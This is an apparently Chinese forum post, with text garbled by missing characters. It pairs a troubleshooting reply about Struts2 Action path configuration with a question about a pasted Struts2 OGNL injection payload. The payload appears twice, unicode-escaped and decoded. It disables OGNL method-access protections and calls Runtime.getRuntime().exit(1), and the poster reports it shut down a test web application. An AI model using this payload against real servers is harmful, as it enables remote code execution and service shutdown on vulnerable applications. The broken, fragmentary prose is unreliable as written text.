问题简单!种问题肯定Action请求路径问题或者边没配置升级版本导致Action请求仔细查看配置路径或者查查2.3版本请求路径特殊配置要求用纠结种问题没析试几路i经或者看看web.xml文件struts2滤器filter配置版本问题升级版本配置文件struts2配置版本信息肯定要跟着换
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
段代码运行低版本struts2项目亲测效获取应用action段代码粘贴于action比
localhost:8080/StrutsTest/goLogin.action确实让web应用服务关闭
网查资料知OGNL引擎代码转义
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
终结 java.lang.Runtime.getRuntime().exit(1);
求神详解转义代码运行流程具体执行程